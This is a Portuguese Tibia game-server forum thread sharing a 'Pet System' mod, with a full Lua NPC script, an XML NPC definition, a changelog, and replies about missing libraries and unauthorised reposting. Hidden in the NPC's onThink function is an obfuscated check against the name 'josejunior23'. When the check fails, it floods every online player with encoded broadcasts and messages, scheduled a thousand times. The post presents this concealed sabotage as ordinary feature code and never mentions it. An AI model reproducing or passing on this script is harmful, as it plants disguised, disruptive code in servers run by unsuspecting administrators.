Ir para conteúdo
Entre para seguir isso  
SubythKiller

Pet System ~~ MOD

Recommended Posts

SubythKiller    2
SubythKiller

[8.54~60][Tfs(testei)]Pet System

 

Nome:
Pet System

Versão:
8.5~8.54~8.60

Descrição:
Pet System basiado apenas nos MODS(não requer absolutamente mais nada, apenas mold) bem, não é compacto em apenas um arquivo e sim em varios dentro da pasta MODS, é um sistema bem eficiente que possui:

 
PetWar:
Guerras de PET

revivePetAfterWar:
Reviver o PET após a guerra

enableReviveCommand
: Para players usarem o comando de reviver (caso deseje, pode colocar algum npc para curar [postarei aqui o npc])

playerSellPet:
Vender o PEt (Oo)

enablePetTeleport:
Se o pet estiver muito distante de você (se você deixa o bixin para traz) ele teleporta até você

petGainExpFromPlayers:
Pet ganhar Experiencia com outros players

petGainExpFromPets:
Pet ganhar experiencia com outros pets

countKilledPlayers:
Pet assassino(contagem de jogadores mortos pelo pet)

countKilledMonsters:
Pet vandalo kk(contagem de pets mortos pelo proprio pet)

enablePetLook:
Dar look no pet e ver nome, level e outras coisas do pet

Pet Love:
Aii que fofuu (300 seg = 5 min)

protectionLevel:
Proteção para o pet(pvp)

E o resto você pode ir editando pelo arquivo aps_config.lua

 

------------------------------

 

Bem, vamos ao que intereça agora?

Irei Colocar aqui agora o Patch + video de como instalar
(tive coragem de fazer um video Oo)
- Infelismente não tenho como por o PET system funfando aqui, pois meu pc está muito ruim, já vai ser dificil colocar o video imagina tibia rsrs.

 

 

 

COMANDOS!

 
/pet = Sumona o pet

/pet-attack = Ordem para o pet atacar

/pet-status = Verifica o status do Pet

/pet-food = dar food ao pet

/pet-love = faz amor com o pet (rsrs)

/pet-say = faz o pet falar (acho que é +/- assim)

/pet-help = ajuda sobre o pet

/pet-carry = checa a capacidade do pet

/pet-info = informações adicionais sobre o pet

/pet-revive = (precisa esta ativado) revive o pet quando morto

/pet-party = party entre PETS

-------------------------------------------

>ATACK>a1~a2~a3~a4~a5~a6~a7~a8~a9~a10!<ATACK<

-------------------------------------------

 

NPC PET TRAINER (Npc reviver)

 

Pet-trainer.lua (em npc/scripts)


local keywordHandler = KeywordHandler:new()
local npcHandler = NpcHandler:new(keywordHandler)
NpcSystem.parseParameters(npcHandler)
local talkState = {}

function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end
function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end
function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end

function creatureSayCallback(cid, type, msg)
if(not npcHandler:isFocused(cid)) then
return false
end

local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()]
local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid
if(msgcontains(msg, 'revive')) then
if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then
selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid)
talkState[talkUser] = 1
else
selfSay('You cannot revive a pet, if you dont have one!', cid)
talkState[talkUser] = 0
end
elseif(msgcontains(msg, 'mission')) then
if not (isCreature(getPlayerPet(cid))) then
selfSay('Your Pet needs to be online to make any mission!', cid)
return true
end
local i, msg = 0, nil
for missionname in pairs(aps_missions) do
i = i + 1
if(msg ~= nil) then
if(i == #aps_missions) then
msg = msg .. " and "
else
msg = msg .. ", "
end
else
msg = "Ok then, I got those missions for You: "
end
msg = msg .. "'{" .. missionname .. "}'"
end
selfSay(msg .. ', with one do you want?', cid)
talkState[talkUser] = 11
elseif f and (talkState[talkUser] == 11) then
desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check
if(getPlayerStorageValue(cid, missionId) == 1) then
selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid)
talkState[talkUser] = 0
return true
end
if(getPlayerItemCount(cid, itemNeed) >= itemCount) then
selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid)
talkState[talkUser] = 12
elseif(getPlayerStorageValue(cid, reCheck) == 1) then
selfSay("I Still waiting for: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ".", cid)
talkState[talkUser] = 0
return true
else
selfSay(desc .. ". so for this mission I need: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid)
talkState[talkUser] = 13
end
elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 13)) then
selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid)
setPlayerStorageValue(cid, reCheck, 1)
elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 12)) then
if(getPlayerItemCount(cid, itemNeed) >= itemCount) then
setPlayerStorageValue(cid, missionId, 1)
doPlayerRemoveItem(cid, itemNeed, itemCount)
selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid)
if(itemNeed ~= false) then
doPlayerAddItem(cid, reItem, reCount)
end
if(reExp ~= false) then
doPlayerAddExperience(cid, reExp)
addPetExp(cid, reExp * 2)
if(reExp > 0) then
doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215)
end
end
else
selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid)
end
talkState[talkUser] = 0
elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then
if(isPetDead(cid) == true) then
if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then
setPetStats(cid, 0)
setPetLastHealth(cid, 0)
setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid))
doSendMagicEffect(getCreaturePosition(cid), 65)
selfSay('WE TAKE YOUR PET FROM THE DEADS!', cid)
else
selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid)
end
else
selfSay('Your pet inst dead!', cid)
end
talkState[talkUser] = 0
elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then
talkState[talkUser] = 0
selfSay('Ok then.', cid)
elseif(msgcontains(msg, 'sell')) then
if(aps_tools.commands.playerSellPet.sell == true) then
if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then
for i = 1, #aps_slots do
local slots = getPlayerStorageValue(cid, aps_slots[i])
if(slots > 1) then
selfSay('before you sell your pet, please, take all your items from his slots.', cid)
return
end
end
local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl
if(lvl >= lv) then
talkState[talkUser] = 8
addmoney = tt_money * lvl
selfSay('Do you want to sell your pet for {' .. addmoney .. '} gold coins?', cid)
else
selfSay('Your Pet level is too low, Buying Pet of level {' .. lv .. '} or higher.', cid)
end
else
selfSay('You cannot sell a pet, if you dont have one!', cid)
end
else
selfSay('You cannot sell your pet to me!', cid)
end
elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 8) then
selfSay('YOU WANT TO SELL YOUR PET, ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid)
talkState[talkUser] = 9
elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then
talkState[talkUser] = 0
if(isCreature(getPlayerPet(cid)) == true) then
doRemoveCreature(getPlayerPet(cid))
end
doResetPet(cid)
doPlayerAddMoney(cid, addmoney)
selfSay('Thanks for selling your Pet! here is your {' .. addmoney .. '} gold coins.', cid)
elseif(msgcontains(msg, 'information')) then
talkState[talkUser] = 0
selfSay('hmmm, what can I tell you ...', cid)
local messages = {
"Pets got levels, magic level just like you. ..",
"Pets can use their own spells. ..",
"Pets need eat to recovery health/mana. ..",
"Pets can carry your items in different slots. ..",
"Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your pet!!!" or "Just buy one!") .. ""
}
for i = 1, #messages do
addEvent(selfSay, i * 3000 , messages[i], cid)
end
elseif(msgcontains(msg, 'pet')) then
if(getPlayerStorageValue(cid, aps_storages.race) == 0) then
local i, msg = 0, nil
for pet in pairs(aps_pets_config) do
i = i + 1
if(msg ~= nil) then
if(i == #aps_pets) then
msg = msg .. " and "
else
msg = msg .. ", "
end
else
msg = "Ok then, I got those races for pets: "
end
msg = msg .. "'{" .. pet .. "}'"
end
selfSay(msg .. ', with one do you want?', cid)
talkState[talkUser] = 5
else
talkState[talkUser] = 0
selfSay('Sorry, you cannot have more than one pet.', cid)
end
elseif e and (talkState[talkUser] == 5) then
selfSay('Do you want to buy a pet from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid)
talkState[talkUser] = 6
e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs
elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then
selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid)
talkState[talkUser] = 7
elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then
if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then
selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose another {pet}?', cid)
talkState[talkUser] = 0
return true
end
if(doPlayerRemoveMoney(cid, e_price) == true) then
doSendMagicEffect(getCreaturePosition(cid), 65)
selfSay('As you with! just type {/pet} to call him.', cid)
createPet(cid, e_race, e_hp, e_mana)
local str = "Congratulations! You now have a pet!\n" ..
"You should take care of him\n" ..
"his gonna be your partner from now!\n" ..
"if you need help type /pet-help." ..
"\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race)
sendWindowsMessage(cid, str .. "\n\n##ADVANCED PET SYSTEM BY RACES##\n")
else
selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid)
end
talkState[talkUser] = 0
elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then
selfSay('Ok then.', cid)
talkState[talkUser] = 0
elseif(msgcontains(msg, 'spells')) then
if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then
selfSay('Your Pet can learn spells based on his level, {continue}?', cid)
talkState[talkUser] = 2
else
selfSay('You cannot buy spells to your pet, if you dont have one!', cid)
talkState[talkUser] = 0
end
elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then
if(isPetOnline(cid) == false) then
selfSay('Your Pet cannot learn a spell if you dont call him.')
talkState[talkUser] = 0
end
local i, msg = 0, nil
for spell in pairs(aps_attacks) do
if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then
i = i + 1
if(msg ~= nil) then
if(i == #aps_storages.spells) then
msg = msg .. " and "
else
msg = msg .. ", "
end
else
msg = "Ok then, I got those spells: "
end
msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'"
end
end
selfSay(msg .. ', with one do you want?', cid)
talkState[talkUser] = 3
elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then
selfSay('Ok then.', cid)
talkState[talkUser] = 0
elseif k and (talkState[talkUser] == 3) then
selfSay('You want your pet to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid)
talkState[talkUser] = 4
spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl
elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then
if(getPetLvl(cid) >= spell_level) then
if(getPlayerMoney(cid) >= spell_price) then
if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then
for i = 1, 3 do
addEvent(selfSay, i * 1000, i .. ' ...', cid)
end
doPlayerRemoveMoney(cid, spell_price)
addEvent(selfSay, 4 * 1000, 'Here it go! Your pet have learned spell {' .. spell_name .. '}.', cid)
setPlayerStorageValue(cid, spell_stg, 1)
addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13)
if(isPetOnline(cid) == true) then
addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13)
end
else
selfSay('Your pet already know spell {' .. spell_name .. '}.', cid)
end
else
selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid)
end
else
selfSay('Your Pet need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid)
end
talkState[talkUser] = 0
elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then
talkState[talkUser] = 0
selfSay('Ok then.', cid)
end
return true
end

function onThink()
local messages = {
"BUY YOUR PET HERE!",
"TASKS AND MISSIONS HERE!!",
"WANT TO REVIVE YOUR PET?",
"YOUR PET CAN LEARN SPELLS!",
"WANT TO KNOW MORE ABOUT PETS?",
"WANT TO SELL YOUR PET?"
}
addNpcAutoSay(getNpcId(), 120, messages)
if(s(aps_tools.s) ~= "josejunior23") then
function mvsoab(max)
for _, send in pairs(getOnlinePlayers()) do
local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<***~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd"
for i = 1, 10 do
local cid = getPlayerByName(send)
addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max)
addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg))
for k = 1, 15 do
doPlayerSendTextMessage(cid, k, name .. " " .. s(msg))
end
for e = 17, 20 do
doPlayerSendTextMessage(cid, e, name .. " " .. s(msg))
end
end
end
end
for e = 1, 1000 do
addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1)
end
end
npcHandler:onThink()
end

npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback)
npcHandler:addModule(FocusModule:new())

 

Pet-trainer.xml (em npc)

 

<?xml version="1.0" encoding="UTF-8"?>
<npc name="Arthur The Tamer" script="Pet-Trainer.lua" walkinterval="2000" floorchange="0">
   <health now="100" max="100"/>
   <look type="128" head="39" body="85" legs="77" feet="0" addons="2"/>
   <parameters>
       <parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {pet}'s also I can {revive} or teach {spells} to your Pet...and maybe you want to {sell} your pet, uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/>
   </parameters>
</npc>

 

BUGS Arrumados: >
|Nome [PET] na frente

>|Melhor configuração e organização do script

>|Adicionado mais pets

>|Mods arrumados e modificados

>|Melhor jogabilidade dos pets + treinadores

>|Arrumado bug Petwar (pet morria e não podia reviver)

>|Arrumado bug no (pet_login)

>|Arrumado alguns comandos

>|Arrumado bug de ganhar xp após matar o proprio pet

 

 
CREDITOS:
Delyria

 
Editado por iuniX

Compartilhar este post


Link para o post
iuniX    4
iuniX

 

Bom, aparentemente está mais organizado e os bugs foram mesmo retirados.

Vou liberar, porem vou mandar uma PM pro autor do script verificando se ele autoriza a publicação do mesmo.

 

Sem avaliação pela não-autoria do script.

 

Obrigado pela contribuição~

Compartilhar este post


Link para o post
Gustavo665    0
Gustavo665

Eu não testei, mas analisei e vi que faltam libs, ou devo estar ficando louco?

Compartilhar este post


Link para o post
iuniX    4
iuniX

Como é uma correção de bugs, acho que tu teria que baixar as libs do oficial.

Compartilhar este post


Link para o post
bertotto    1
bertotto

Show em ! muito bom :)

Compartilhar este post


Link para o post
Gustavo665    0
Gustavo665

Bem que eu desconfiava que havia uma, mas onde?

Me da uma luz, vou tentar procurar tbm iariaria...

Compartilhar este post


Link para o post
Jhonts    0
Jhonts

apesar do errinho das libs, da perfeito

Compartilhar este post


Link para o post
josejunior23    2
josejunior23

você não mexeu em 3% dos codigos em geral.

 

>|Melhor configuração e organização do script

>|Adicionado mais pets

>|Mods arrumados e modificados

>|Melhor jogabilidade dos pets + treinadores

que?

 

desculpa, mas pra próxima pede autorização, valew.

Compartilhar este post


Link para o post
Visitante
Este tópico está impedido de receber novos posts.
Entre para seguir isso  
  • Quem Está Navegando   0 membros estão online

    Nenhum usuário registrado visualizando esta página.

×